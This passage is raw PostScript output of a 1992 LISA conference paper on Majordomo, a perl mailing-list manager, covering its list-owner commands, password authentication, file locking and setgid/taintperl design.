+1564 Y(accepts)s +827 X(the)s +938 X(password)s +1189 X(-protected)s +1490 X(commands)s +1809 X(shown)s +2012 X(in)s +600 X +1637 Y(Figure)s +797 X(2,)s +870 X(which)s +1056 X(are)s +1161 X(for)s +1261 X(use)s +1373 X(by)s +1462 X(list)s +1568 X(owners)s +1782 X(to)s +1856 X(manage)s +600 X +1710 Y(their)s +789 X(list)s +872 X(.)s +977 X(Authentication)s +1441 X(is)s +1552 X(based)s +1771 X(solely)s +1998 X(on)s +600 X +1783 Y(knowledge)s +923 X(of)s +1009 X(the)s +1122 X(password)s +1404 X(for)s +1512 X(the)s +1624 X(list)s +1737 X(in)s +1819 X(question;)s +600 X +1856 Y(no)s +693 X(attempt)s +922 X(is)s +995 X(made)s +1168 X(to)s +1248 X(check)s +1432 X(that)s +1561 X(the)s +1671 X(address)s +1899 X(of)s +1982 X(the)s +600 X +1929 Y(person)s +821 X(issuing)s +1054 X(the)s +1180 X(command)s +1487 X(is)s +1576 X(the)s +1702 X(same)s +1883 X(as)s +1982 X(the)s +600 X +2002 Y(address)s +826 X(of)s +907 X(the)s +1015 X(list)s +1124 X(owner)s +1290 X(.)s +1356 X(As)s +1457 X(mentioned)s +1766 X(earlier,)s +1982 X(the)s +600 X +2075 Y(goal)s +755 X(of)s +849 X(the)s +970 X(minimal)s +1233 X(security)s +1484 X(in)s +1575 X(Majordomo)s +1928 X(is)s +2012 X(to)s +600 X +2148 Y(prevent)s +822 X(anti)s +923 X(-social)s +1124 X(people)s +1324 X(from)s +1476 X(making)s +1699 X(a)s +1752 X(nuisance)s +2009 X(of)s +600 X +2221 Y(themselves;)s +948 X(I)s +1001 X(don't)s +1172 X(make)s +1348 X(any)s +1474 X(claims)s +1680 X(that)s +1811 X(the)s +1923 X(secu-)s +600 X +2294 Y(rity)s +715 X(is)s +782 X(particularly)s +1113 X(strong)s +1279 X(.)s +600 X +2388 Y +744 X(A)s +818 X(side)s +952 X(bene\256t)s +1160 X(of)s +1241 X(authentication)s +1648 X(by)s +1741 X(password)s +2019 X(is)s +600 X +2461 Y(that)s +738 X(the)s +857 X(owner)s +1060 X(can)s +1190 X(manage)s +1434 X(their)s +1593 X(list)s +1712 X(from)s +1877 X(any)s +2009 X(of)s +600 X +2534 Y(their)s +760 X(accounts;)s +1050 X(they)s +1202 X(don't)s +1379 X(have)s +1542 X(to)s +1631 X(always)s +1855 X(use)s +1982 X(the)s +600 X +2607 Y(same)s +779 X(account)s +1027 X(on)s +1133 X(a)s +1203 X(certain)s +1426 X(machine,)s +1710 X(for)s +1827 X(instance)s +2047 X(.)s +600 X +2680 Y(The)s +728 X("owner")s +972 X(of)s +1052 X(a)s +1107 X(given)s +1280 X(list)s +1388 X(could)s +1561 X(in)s +1638 X(fact)s +1764 X(be)s +1852 X(an)s +1940 X(alias)s +600 X +2753 Y(for)s +719 X(multiple)s +985 X(people,)s +1221 X(any)s +1358 X(of)s +1454 X(whom)s +1661 X(could)s +1850 X(approve)s +600 X +2826 Y(requests)s +847 X(for)s +952 X(the)s +1062 X(list)s +1145 X(.)s +1212 X(Because)s +1463 X(the)s +1573 X(owner)s +1767 X(of)s +1850 X(a)s +1908 X(list)s +2019 X(is)s +600 X +2899 Y(always)s +809 X(noti\256ed)s +1036 X(of)s +1114 X(successful)s +1411 X("subscribe")s +1739 X(and)s +1857 X("unsub-)s +600 X +2972 Y(scribe")s +828 X(requests)s +1088 X(concerning)s +1425 X(their)s +1589 X(list,)s +1731 X(even)s +1899 X(if)s +1982 X(the)s +600 X +3045 Y(owner)s +800 X(initiated)s +1055 X(those)s +1230 X(requests)s +1483 X(on)s +1583 X(behalf)s +1784 X(of)s +1873 X(a)s +1936 X(user,)s +600 X +3118 Y(multiple)s +855 X(owners)s +1078 X(would)s +1275 X(automatically)s +1672 X(be)s +1767 X(kept)s +1914 X(up)s +2012 X(to)s +600 X +3191 Y(date)s +734 X(on)s +822 X(each)s +967 X(other's)s +1174 X(actions)s +1386 X(concerning)s +1704 X(the)s +1808 X(list)s +1891 X(.)s +600 X +3984 Y +3120 0 l +600 X +4080 Y +622 X +f.B 10 Z(Command)s +2258 X(Description)s +600 X +4110 Y +622 X +f.R 10 Z +3076 0 l +600 X +4174 Y +2258 X(Approve)s +2538 X(a)s +2616 X(non)s +2715 X(-routine)s +2975 X(subscribe)s +3276 X(or)s +3380 X(unsubscribe)s +600 X +4254 Y +2258 X(request)s +2473 X(concerning)s +2791 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +600 X +4174 Y +622 X +f.R 10 Z(approve)s +858 X +f.I 10 Z(password)s +1134 X +f.R 10 Z({subscribe)s +1440 X(|)s +1475 X(unsubscribe})s +1847 X +f.I 10 Z(list)s +1952 X(address)s +600 X +4347 Y +2258 X +f.R 10 Z(Provide)s +2490 X(a)s +2545 X(new)s +2681 X("info")s +2867 X(message)s +3119 X(for)s +3221 X +f.I 10 Z(list)s +f.R 10 Z(,)s +3346 X(to)s +3423 X(be)s +3512 X(sent)s +3646 X(in)s +600 X +4427 Y +2258 X(response)s +2513 X(to)s +2587 X("info")s +2770 X(and)s +2888 X("subscribe")s +3216 X(requests)s +600 X +4347 Y +622 X(newinfo)s +862 X +f.I 10 Z(list)s +967 X(password)s +600 X +4520 Y +2258 X +f.R 10 Z(Change)s +2483 X(the)s +2587 X(password)s +2860 X(for)s +2959 X +f.I 10 Z(list)s +600 X +622 X +f.R 10 Z(passwd)s +840 X +f.I 10 Z(list)s +945 X(old)s +1030 X(-password)s +1328 X(new)s +1435 X(-password)s +600 X +4685 Y +1547 X +f.B 10 Z(Figure)s +1759 X(2)s +f.R 10 Z(:)s +1855 X(Majordomo)s +2191 X(list)s +2296 X(owner)s +2484 X(commands)s +600 X +3285 Y +744 X(Note)s +915 X(that)s +1057 X(the)s +1180 X("approve")s +1490 X(command)s +1795 X(is)s +1882 X(simply)s +600 X +3358 Y("approve)s +878 X +f.I 10 Z(password)s +f.R 10 Z(")s +1196 X(prepended)s +1510 X(to)s +1599 X(a)s +1666 X("subscribe")s +2009 X(or)s +600 X +3431 Y("unsubscribe")s +1026 X(request)s +1219 X(.)s +1312 X(This)s +1485 X(simpli\256es)s +1801 X(command)s +600 X +3504 Y(processing;)s +941 X(in)s +1030 X(handling)s +1299 X(an)s +1398 X("approve")s +1702 X(message,)s +1982 X(the)s +600 X +3577 Y(command)s +910 X(processor)s +1212 X(checks)s +1441 X(that)s +1590 X(the)s +1720 X(password)s +2019 X(is)s +600 X +3650 Y(correct)s +818 X(for)s +927 X(the)s +1041 X(list)s +1155 X(being)s +1334 X(acted)s +1507 X(on,)s +1621 X(then)s +1767 X(recursively)s +600 X +3723 Y(processes)s +882 X(the)s +990 X("subscribe")s +1322 X(or)s +1403 X("unsubscribe")s +1801 X(command)s +600 X +3796 Y(with)s +743 X(a)s +797 X(\257ag)s +921 X(set)s +1020 X(that)s +1145 X(tells)s +1282 X(the)s +1387 X(processor)s +1665 X(that)s +1789 X(the)s +1894 X(opera-)s +600 X +3869 Y(tion)s +740 X(is)s +821 X(pre)s +906 X(-approved)s +1212 X(and)s +1345 X(should)s +1559 X(simply)s +1778 X(be)s +1878 X(carried)s +600 X +3942 Y(out,)s +737 X(even)s +898 X(if)s +974 X(it)s +1047 X(is)s +1126 X(a)s +1190 X(non)s +1289 X(-routine)s +1534 X(request)s +1727 X(.)s +1800 X(The)s +1938 X(right)s +2256 X +448 Y(way)s +2389 X(to)s +2463 X(think)s +2622 X(about)s +2793 X("approve",)s +3101 X(by)s +3190 X(the)s +3295 X(way,)s +3446 X(is)s +3514 X(that)s +3638 X(the)s +2256 X +521 Y(list)s +2363 X(owner)s +2553 X(is)s +2622 X(telling)s +2817 X(Majordomo)s +3154 X("I)s +3226 X(approve)s +3463 X(this)s +3583 X(com-)s +2256 X +594 Y(mand;)s +2455 X(just)s +2584 X(do)s +2682 X(it!",)s +2818 X(not)s +2936 X("I)s +3018 X(approve)s +3265 X(this)s +3395 X(request)s +3621 X(you)s +2256 X +667 Y(sent)s +2395 X(me)s +2507 X(earlier")s +2706 X(.)s +2775 X(Majordomo)s +3119 X(doesn't)s +3345 X(keep)s +3501 X(track)s +3665 X(of)s +2256 X +740 Y(outstanding)s +2602 X(requests;)s +2875 X(when)s +3054 X(an)s +3153 X("approve")s +3457 X(command)s +2256 X +813 Y(comes)s +2471 X(in)s +2567 X(from)s +2740 X(a)s +2814 X(list)s +2941 X(owner,)s +3167 X(Majordomo)s +3524 X(doesn't)s +2256 X +886 Y(check)s +2440 X(to)s +2520 X(see)s +2634 X(that)s +2764 X(the)s +2875 X(owner)s +3070 X(is)s +3144 X(approving)s +3442 X(something)s +2256 X +959 Y(Majordomo)s +2613 X(had)s +2752 X(previously)s +3075 X(requested,)s +3390 X(or)s +3487 X(anything)s +2256 X +1032 Y(like)s +2397 X(that)s +2498 X(.)s +2577 X(A)s +2665 X(list)s +2788 X(owner)s +2994 X(can)s +3127 X(thus)s +3278 X(issue)s +3452 X("approve")s +2256 X +1105 Y(commands)s +2589 X(on)s +2699 X(behalf)s +2910 X(of)s +3009 X(a)s +3083 X(user)s +3238 X(\(to)s +3356 X(drop)s +3521 X(a)s +3594 X(dead)s +2256 X +1178 Y(account)s +2488 X(from)s +2641 X(the)s +2747 X(list,)s +2872 X(for)s +2974 X(instance\))s +3241 X(without)s +3470 X(any)s +3591 X(prior)s +2256 X +1251 Y(action)s +2442 X(by)s +2530 X(the)s +2634 X(user)s +2745 X(.)s +2256 X +1345 Y +2400 X(An)s +2534 X(important)s +2848 X(distinction)s +3185 X(that)s +3340 X(many)s +3542 X(people)s +2256 X +1418 Y(misunderstand)s +2672 X(is)s +2744 X(the)s +2853 X(difference)s +3151 X(between)s +3401 X(managing)s +3690 X(a)s +2256 X +1491 Y(mailing)s +2493 X(list,)s +2625 X(and)s +2753 X(managing)s +3048 X(the)s +3162 X(traf\256c)s +3354 X(on)s +3452 X(a)s +3515 X(mailing)s +2256 X +1564 Y(list)s +2339 X(.)s +2405 X(Managing)s +2701 X(a)s +2757 X(mailing)s +2988 X(list)s +3097 X(\(which)s +3308 X(is)s +3379 X(what)s +3535 X(Major-)s +2256 X +1637 Y(domo)s +2435 X(does\))s +2608 X(means)s +2808 X(exactly)s +3031 X(that:)s +3202 X(managing)s +3494 X(a)s +3553 X(list)s +3665 X(of)s +2256 X +1710 Y(names)s +2427 X(.)s +2518 X(Managing)s +2839 X(the)s +2972 X(traf\256c)s +3183 X(on)s +3300 X(a)s +3381 X(mailing)s +3637 X(list)s +2256 X +1783 Y(\(which)s +2464 X(is)s +2533 X(commonly)s +2842 X(called)s +3027 X("moderating")s +3409 X(the)s +3515 X(mailing)s +2256 X +1856 Y(list\))s +2388 X(means)s +2586 X(either)s +2766 X(automatically)s +3159 X(or)s +3241 X(manually)s +3516 X(review-)s +2256 X +1929 Y(ing)s +2368 X(each)s +2518 X(message)s +2772 X(that)s +2900 X(is)s +2972 X(submitted)s +3263 X(for)s +3367 X(the)s +3477 X(list,)s +3605 X(then)s +2256 X +2002 Y(either)s +2438 X(forwarding)s +2762 X(it)s +2829 X(to)s +2910 X(the)s +3021 X(list)s +3133 X(\(perhaps)s +3391 X(after)s +3542 X(header)s +2256 X +2075 Y(or)s +2346 X(content)s +2578 X(editing,)s +2816 X(depending)s +3128 X(on)s +3229 X(the)s +3346 X(nature)s +3548 X(of)s +3638 X(the)s +2256 X +2148 Y(mailing)s +2490 X(list\))s +2624 X(or)s +2708 X(discarding)s +3015 X(it)s +3053 X(.)s +3120 X(The)s +3252 X(changes)s +3495 X(made)s +3668 X(to)s +2256 X +2221 Y(messages)s +2577 X(before)s +2815 X(forwarding)s +3178 X(them)s +3380 X(to)s +3500 X(such)s +3690 X(a)s +2256 X +2294 Y(moderated)s +2564 X(mailing)s +2795 X(list)s +2903 X(can)s +3021 X(be)s +3109 X(as)s +3190 X(simple)s +3394 X(as)s +3475 X(rewriting)s +2256 X +2367 Y(the)s +2368 X(headers)s +2603 X(of)s +2689 X(the)s +2802 X(message)s +3060 X(to)s +3143 X(arrange)s +3374 X(for)s +3482 X(errors)s +3668 X(to)s +2256 X +2440 Y(come)s +2427 X(back)s +2579 X(to)s +2657 X(the)s +2765 X(list)s +2874 X(owner,)s +3083 X(or)s +3164 X(as)s +3246 X(complex)s +3502 X(as)s +3583 X(com-)s +2256 X +2513 Y(pletely)s +2461 X(rewriting)s +2728 X(the)s +2832 X(body)s +2986 X(of)s +3064 X(the)s +3169 X(message)s +3419 X(to)s +3494 X(preserve)s +2256 X +2586 Y(the)s +2374 X(anonymity)s +2695 X(of)s +2786 X(the)s +2904 X(originator)s +3167 X(.)s +3241 X(Editorial)s +3511 X(policies)s +2256 X +2659 Y(\(such)s +2435 X(as)s +2526 X(only)s +2679 X(forwarding)s +3009 X(messages)s +3297 X(to)s +3384 X(the)s +3501 X(list)s +3619 X(that)s +2256 X +2732 Y(were)s +2409 X(sent)s +2540 X(by)s +2629 X(a)s +2682 X(member)s +2924 X(of)s +3002 X(the)s +3107 X(list,)s +3230 X(and)s +3349 X(refusing)s +3590 X(mes-)s +2256 X +2805 Y(sages)s +2453 X(from)s +2634 X("outsiders"\))s +3003 X(might)s +3211 X(also)s +3371 X(be)s +3487 X(enforced)s +2256 X +2878 Y(automatically)s +2647 X(or)s +2727 X(manually)s +2976 X(.)s +3040 X(All)s +3151 X(of)s +3231 X(this)s +3352 X(is)s +3421 X(outside)s +3638 X(the)s +2256 X +2951 Y(scope)s +2439 X(of)s +2525 X(Majordomo;)s +2889 X(all)s +2988 X(Majordomo)s +3333 X(does)s +3487 X(is)s +3564 X(main-)s +2256 X +3024 Y(tain)s +2391 X(the)s +2507 X(\256le)s +2627 X(containing)s +2943 X(the)s +3059 X(list)s +3176 X(of)s +3264 X(email)s +3447 X(addresses)s +3703 X(.)s +2256 X +3097 Y(How)s +2413 X(that)s +2542 X(list)s +2653 X(is)s +2726 X(used)s +2876 X(\(whether)s +3141 X(it)s +3207 X(is)s +3280 X(simply)s +3490 X(included)s +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +2256 X +3170 Y(as)s +2336 X(an)s +2422 X(alias)s +2569 X(in)s +2644 X(the)s +2749 X +f.CW 10 Z(/etc/aliases)s +3252 X +f.R 10 Z(\256le,)s +3378 X(or)s +3456 X(used)s +3601 X(by)s +3690 X(a)s +2256 X +3243 Y(forwarding)s +2581 X(that)s +2713 X(enforces)s +2970 X(a)s +3031 X("no)s +3155 X(messages)s +3439 X(from)s +3599 X(non)s +3698 X(-)s +2256 X +3316 Y(members)s +2526 X(policy")s +2745 X(as)s +2825 X(described)s +3105 X(above,)s +3305 X(or)s +3384 X(whatever\))s +3675 X(is)s +2256 X +3389 Y(not)s +2363 X(something)s +2663 X(for)s +2762 X(Majordomo)s +3098 X(to)s +3172 X(determine)s +3440 X(.)s +2256 X +3516 Y +2594 X +f.B 10 Z(Implementing)s +3018 X(the)s +3129 X(Proposal)s +2256 X +3625 Y +2400 X +f.R 10 Z(Once)s +2564 X(I)s +2610 X(had)s +2730 X(more)s +2891 X(or)s +2970 X(less)s +3095 X(decided)s +3327 X(what)s +3481 X(I)s +3527 X(wanted)s +2256 X +3698 Y(to)s +2334 X(implement)s +2647 X(and)s +2769 X(how,)s +2926 X(I)s +2974 X(sat)s +3074 X(down)s +3246 X(to)s +3323 X(the)s +3430 X(nitty)s +3553 X(-gritty)s +2256 X +3771 Y(details)s +2464 X(of)s +2551 X(getting)s +2769 X(it)s +2839 X(done)s +2968 X(.)s +3039 X(It)s +3112 X(took)s +3263 X(about)s +3444 X(2)s +3510 X(days)s +3665 X(of)s +2256 X +3844 Y(concentrated)s +2626 X(work)s +2790 X(to)s +2870 X(write)s +3036 X(the)s +3145 X(core)s +3287 X(of)s +3369 X(the)s +3478 X(program,)s +2256 X +3917 Y(followed)s +2519 X(by)s +2611 X(a)s +2667 X(test)s +2787 X(installation)s +3112 X(and)s +3234 X(another)s +3460 X(couple)s +3665 X(of)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(137)s +5280 Y +pagebot + +%%Page: 138 4 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +215 Y(Majordomo:)s +744 X(How)s +899 X(I)s +947 X(Manage)s +1198 X(17)s +1286 X(Mailing)s +1531 X(Lists)s +1690 X(.)s +1707 X(.)s +1724 X(.)s +3199 X(Chapman)s +360 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(days)s +507 X(of)s +587 X(on)s +653 X(-again,)s +862 X(off)s +939 X(-again)s +1131 X(testing)s +1334 X(and)s +1454 X(enhancement)s +1807 X(.)s +360 X +521 Y(All)s +474 X(told,)s +623 X(I)s +673 X(spent)s +842 X(about)s +1019 X(20)s +1114 X(hours)s +1290 X(on)s +1385 X(the)s +1496 X(project,)s +1728 X(and)s +360 X +594 Y(ended)s +544 X(up)s +635 X(with)s +779 X(about)s +952 X(than)s +1092 X(600)s +1215 X(lines)s +1366 X(of)s +1445 X(perl)s +1573 X(code)s +1723 X(that)s +360 X +667 Y(implemented)s +742 X(almost)s +953 X(all)s +1053 X(the)s +1167 X(features)s +1411 X(listed)s +1589 X(above)s +1780 X(\(I)s +360 X +740 Y(didn't)s +549 X(implement)s +866 X("which")s +1113 X(and)s +1239 X("unsubscribe")s +1641 X(until)s +1794 X(a)s +360 X +813 Y(couple)s +573 X(of)s +663 X(weeks)s +865 X(later\))s +1007 X(.)s +1081 X(This)s +1235 X(was)s +1374 X(the)s +1491 X(version)s +1723 X(that)s +360 X +886 Y(was)s +498 X(initially)s +742 X(installed)s +1003 X(on)s +1102 X(USENIX)s +1346 X(.ORG)s +1536 X(to)s +1621 X(run)s +1742 X(the)s +360 X +959 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(in)s +1049 X(late)s +1185 X(June,)s +1362 X(1992)s +1494 X(.)s +1571 X(Over)s +1742 X(the)s +360 X +1032 Y(next)s +500 X(couple)s +703 X(of)s +782 X(weeks,)s +990 X(I)s +1036 X(spent)s +1201 X(another)s +1425 X(20)s +1515 X(or)s +1594 X(so)s +1677 X(hours)s +360 X +1105 Y(implementing)s +755 X(the)s +861 X(remaining)s +1156 X(commands,)s +1486 X(\256xing)s +1665 X(minor)s +360 X +1178 Y(bugs,)s +535 X(and)s +664 X(generally)s +946 X(cleaning)s +1206 X(up)s +1305 X(the)s +1420 X(program)s +1645 X(.)s +1717 X(I've)s +360 X +1251 Y(continued)s +655 X(to)s +739 X(make)s +917 X(minor)s +1109 X(enhancements)s +1521 X(since)s +1692 X(then)s +1807 X(.)s +360 X +1324 Y(Today,)s +573 X(the)s +680 X(program)s +930 X(stands)s +1122 X(at)s +1196 X(815)s +1320 X(lines)s +1472 X(of)s +1552 X(perl)s +1681 X(code,)s +360 X +1397 Y(not)s +467 X(including)s +741 X(libraries)s +961 X(.)s +360 X +1491 Y +504 X(While)s +710 X(writing)s +945 X(Majordomo,)s +1318 X(I)s +1383 X(made)s +1571 X(extensive)s +360 X +1564 Y(use)s +477 X(of)s +559 X(other)s +723 X(people's)s +976 X(work)s +1139 X(that)s +1267 X(had)s +1390 X(been)s +1543 X(previously)s +360 X +1637 Y(released)s +617 X(on)s +720 X(the)s +839 X(net,)s +976 X(including)s +1266 X(software)s +1534 X(to)s +1624 X(process)s +360 X +1710 Y(mail)s +507 X(headers)s +738 X(and)s +860 X(perform)s +1100 X(\256le)s +1212 X(locking)s +1412 X(.)s +1477 X(From)s +1647 X(one)s +1769 X(of)s +360 X +1783 Y(the)s +474 X(perl)s +611 X(archives)s +867 X(on)s +966 X(the)s +1081 X(Internet,)s +1339 X(I)s +1394 X(obtained)s +1657 X(a)s +1720 X(perl)s +360 X +1856 Y(package)s +605 X(called)s +792 X("mailstuff)s +1061 X(.pl")s +1183 X(\(written)s +1421 X(by)s +1513 X(Gene)s +1680 X(Spaf-)s +360 X +1929 Y(ford\))s +527 X(which)s +725 X(parses)s +927 X(RFC822)s +1186 X(mail)s +1341 X(headers)s +1580 X(into)s +1720 X(perl)s +360 X +2002 Y(associative)s +692 X(arrays)s +892 X(for)s +1006 X(easy)s +1162 X(processing;)s +1503 X(with)s +1658 X(a)s +1724 X(few)s +360 X +2075 Y(minor)s +555 X(modi\256cations,)s +972 X(it)s +1046 X(was)s +1186 X(just)s +1320 X(what)s +1487 X(I)s +1546 X(needed)s +1772 X(to)s +360 X +2148 Y(handle)s +580 X(all)s +690 X(the)s +814 X(mail)s +976 X(header)s +1195 X(processing)s +1521 X(for)s +1639 X(Major-)s +360 X +2221 Y(domo)s +511 X(.)s +360 X +4053 Y +3120 0 l +360 X +4141 Y +408 X +stdencoding /NCourier /Courier RE +/f.CW /NCourier findfont def +f.CW 10 Z($whereami)s +808 X(=)s +888 X("GreatCircle)s +1368 X(.COM";)s +360 X +4221 Y +408 X($whoami)s +728 X(=)s +808 X("Majordomo@$whe)s +1408 X(reami";)s +360 X +4301 Y +408 X($whoami_owner)s +968 X(=)s +1048 X("Majordomo)s +1448 X(-Owner@$wheream)s +2048 X(i";)s +360 X +4381 Y +408 X($homedir)s +768 X(=)s +848 X("/usr/local/maj)s +1448 X(ordomo";)s +360 X +4461 Y +408 X($listdir)s +768 X(=)s +848 X("$homedir/Lists)s +1448 X(";)s +360 X +4541 Y +408 X($log)s +608 X(=)s +688 X("$homedir/Log";)s +360 X +4685 Y +1260 X +f.B 10 Z(Figure)s +1472 X(3)s +f.R 10 Z(:)s +1568 X(Sample)s +1791 X +f.CW 10 Z(/etc/majordomo)s +2351 X(.cf)s +2493 X +f.R 10 Z(\256le)s +360 X +2315 Y +504 X(I)s +563 X(needed)s +789 X(a)s +857 X(safe)s +1003 X(way)s +1152 X(for)s +1267 X(Majordomo)s +1619 X(to)s +1709 X(lock)s +360 X +2388 Y(\256les)s +498 X(while)s +673 X(editing)s +885 X(them)s +1045 X(\(adding)s +1274 X(or)s +1355 X(deleting)s +1596 X(users)s +1758 X(on)s +360 X +2461 Y(a)s +419 X(mailing)s +653 X(list,)s +782 X(or)s +866 X(changing)s +1139 X(the)s +1250 X("info")s +1441 X(\256le)s +1557 X(for)s +1664 X(a)s +1724 X(list,)s +360 X +2534 Y(for)s +505 X(instance\),)s +832 X(to)s +952 X(prevent)s +1219 X(multiple)s +1510 X(Majordomo)s +360 X +2607 Y(processes)s +645 X(from)s +803 X(tripping)s +1043 X(each)s +1195 X(other)s +1361 X(up)s +1427 X(.)s +1495 X(I)s +1546 X(was)s +1679 X(fami-)s +360 X +2680 Y(liar)s +475 X(with)s +619 X(Erik)s +759 X(Fair's)s +940 X("shlock")s +1192 X(program,)s +1458 X(which)s +1645 X(is)s +1714 X(pro-)s +360 X +2753 Y(vided)s +549 X(in)s +642 X(the)s +765 X(NNTP)s +980 X(distribution)s +1329 X(as)s +1426 X(a)s +1497 X(\256le)s +1624 X(locking)s +360 X +2826 Y(mechanism)s +708 X(for)s +828 X(use)s +960 X(in)s +1055 X(shell)s +1225 X(scripts,)s +1460 X(and)s +1599 X(knew)s +1786 X(it)s +360 X +2899 Y(would)s +552 X(provide)s +781 X(the)s +890 X(kind)s +1035 X(of)s +1117 X(locking)s +1344 X(I)s +1393 X(wanted;)s +1632 X(porting)s +360 X +2972 Y(the)s +466 X(code)s +616 X(from)s +769 X(a)s +823 X(stand)s +964 X(-alone)s +1155 X(C)s +1223 X(program)s +1472 X(to)s +1548 X(a)s +1602 X(150)s +1701 X(-line)s +360 X +3045 Y(perl)s +504 X(package)s +763 X(was)s +907 X(a)s +977 X(relatively)s +1271 X(simple)s +1490 X(matter)s +1662 X(.)s +1720 X(The)s +360 X +3118 Y(biggest)s +584 X(problem)s +837 X(I)s +890 X(encountered)s +1247 X(was)s +1381 X(that)s +1512 X(the)s +1624 X(C)s +1698 X(code)s +360 X +3191 Y(used)s +514 X("goto")s +718 X(to)s +803 X(break)s +984 X(out)s +1102 X(of)s +1190 X(nested)s +1394 X(command)s +1690 X(logic)s +360 X +3264 Y(when)s +529 X(exceptions)s +840 X(occurred;)s +1117 X(unlike)s +1309 X(some,)s +1492 X(I)s +1539 X(don't)s +1703 X(dog-)s +360 X +3337 Y(maticly)s +597 X(object)s +796 X(to)s +883 X("goto")s +1090 X(on)s +1191 X(general)s +1423 X(principles,)s +1739 X(but)s +360 X +3410 Y(this)s +481 X(particular)s +762 X(usage)s +938 X(of)s +1017 X("goto")s +1213 X(simply)s +1419 X(isn't)s +1562 X(supported)s +360 X +3483 Y(in)s +434 X(perl)s +538 X(.)s +360 X +3577 Y +504 X(Other)s +701 X(complications)s +1122 X(included)s +1397 X(addressing)s +1728 X(and)s +360 X +3650 Y(appropriate)s +689 X(case)s +830 X(sensitivity)s +1106 X(.)s +1170 X(It)s +1236 X(was)s +1365 X(slightly)s +1591 X(tricky)s +1772 X(to)s +360 X +3723 Y(get)s +475 X(all)s +576 X(the)s +691 X("To:")s +871 X(and)s +1000 X("From:")s +1250 X(addresses)s +1539 X(correct)s +1758 X(on)s +360 X +3796 Y(mail)s +523 X(generated)s +826 X(by)s +934 X(Majordomo,)s +1307 X(so)s +1408 X(that)s +1551 X(replies)s +1772 X(to)s +360 X +3869 Y(commands)s +688 X(and)s +823 X(requests)s +1081 X(for)s +1197 X(approval)s +1470 X(from)s +1639 X(Major-)s +360 X +3942 Y(domo)s +539 X(went)s +697 X(to)s +777 X(the)s +887 X(right)s +1041 X(place,)s +1228 X(and)s +1351 X(could)s +1526 X(themselves)s +360 X +4015 Y(be)s +457 X(replied)s +677 X(to)s +763 X(with)s +916 X(appropriate)s +1254 X(results)s +1429 X(.)s +1502 X(It)s +1577 X(was)s +1716 X(also)s +2016 X +448 Y(tricky)s +2195 X(to)s +2270 X(get)s +2375 X(certain)s +2581 X(things)s +2767 X(to)s +2841 X(be)s +2926 X(case)s +3064 X(sensitive)s +3321 X(\(pass-)s +2016 X +521 Y(words,)s +2234 X(for)s +2350 X(example\),)s +2655 X(and)s +2790 X(other)s +2966 X(things)s +3169 X(to)s +3261 X(be)s +3364 X(case)s +2016 X +594 Y(insensitive)s +2330 X(\(email)s +2529 X(addresses,)s +2829 X(mailing)s +3061 X(list)s +3170 X(names,)s +3384 X(and)s +2016 X +667 Y(commands,)s +2348 X(for)s +2451 X(instance\);)s +2738 X(further,)s +2962 X(some)s +3129 X(case)s +3272 X(insensi-)s +2016 X +740 Y(tive)s +2150 X(items)s +2329 X(\(such)s +2506 X(as)s +2595 X(mailing)s +2833 X(list)s +2949 X(names\))s +3175 X(need)s +3333 X(to)s +3417 X(be)s +2016 X +813 Y(smashed)s +2268 X(to)s +2342 X(lower)s +2517 X(case)s +2656 X(before)s +2849 X(use,)s +2978 X(while)s +3150 X(others)s +3336 X(\(such)s +2016 X +886 Y(as)s +2105 X(email)s +2288 X(addresses\))s +2599 X(need)s +2758 X(to)s +2843 X(be)s +2938 X(preserved)s +3229 X(in)s +3313 X(mixed)s +2016 X +959 Y(case)s +2177 X(and)s +2318 X(merely)s +2549 X(compared)s +2857 X(in)s +2955 X(a)s +3031 X(case)s +3193 X(insensitive)s +2016 X +1032 Y(manner)s +2216 X(.)s +2016 X +1126 Y +2160 X(Because)s +2408 X(it)s +2472 X(needs)s +2650 X(to)s +2728 X(edit)s +2855 X(\256les)s +2993 X(\(the)s +3123 X(mailing)s +3354 X(lists,)s +2016 X +1199 Y(the)s +2124 X("info")s +2311 X(\256les)s +2449 X(for)s +2552 X(each)s +2701 X(list,)s +2827 X(and)s +2948 X(so)s +3032 X(forth\),)s +3225 X(I)s +3272 X(decided)s +2016 X +1272 Y(that)s +2144 X(Majordomo)s +2485 X(needed)s +2701 X(to)s +2780 X(run)s +2895 X(setgid)s +3082 X(to)s +3161 X(a)s +3219 X(specially)s +3458 X(-)s +2016 X +1345 Y(created)s +2236 X(group)s +2416 X(which)s +2605 X(would)s +2796 X(have)s +2947 X(appropriate)s +3276 X(permis-)s +2016 X +1418 Y(sions)s +2181 X(on)s +2275 X(those)s +2445 X(\256les)s +2557 X(.)s +2625 X(Perl)s +2762 X(includes)s +3014 X(a)s +3073 X(nifty)s +3228 X(data\257ow)s +3458 X(-)s +2016 X +1491 Y(tracing)s +2227 X(feature)s +2438 X(\(commonly)s +2770 X(known)s +2975 X(as)s +3055 X("taintperl"\))s +3379 X(that)s +2016 X +1564 Y(is)s +2092 X(automatically)s +2489 X(activated)s +2763 X(when)s +2938 X(a)s +2999 X(perl)s +3134 X(script)s +3315 X(is)s +3392 X(run)s +2016 X +1637 Y(setuid)s +2205 X(or)s +2289 X(setgid;)s +2497 X(this)s +2623 X(feature)s +2838 X(attempts)s +3095 X(to)s +3176 X(ensure)s +3379 X(that)s +2016 X +1710 Y(the)s +2121 X(script)s +2293 X(doesn't)s +2512 X(do)s +2601 X(anything)s +2858 X("dangerous")s +3185 X(.)s +3248 X(The)s +3376 X(perl)s +2016 X +1783 Y(on)s +2082 X(-line)s +2227 X(manual)s +2446 X(page)s +2594 X(describes)s +2865 X(this)s +2984 X(feature:)s +2016 X +1856 Y +2112 X(When)s +2315 X(perl)s +2463 X(is)s +2552 X(executing)s +2856 X(a)s +2930 X(setuid)s +3135 X(script,)s +3346 X(it)s +2016 X +1929 Y +2112 X(takes)s +2277 X(special)s +2491 X(precautions)s +2826 X(to)s +2904 X(prevent)s +3130 X(you)s +3255 X(from)s +2016 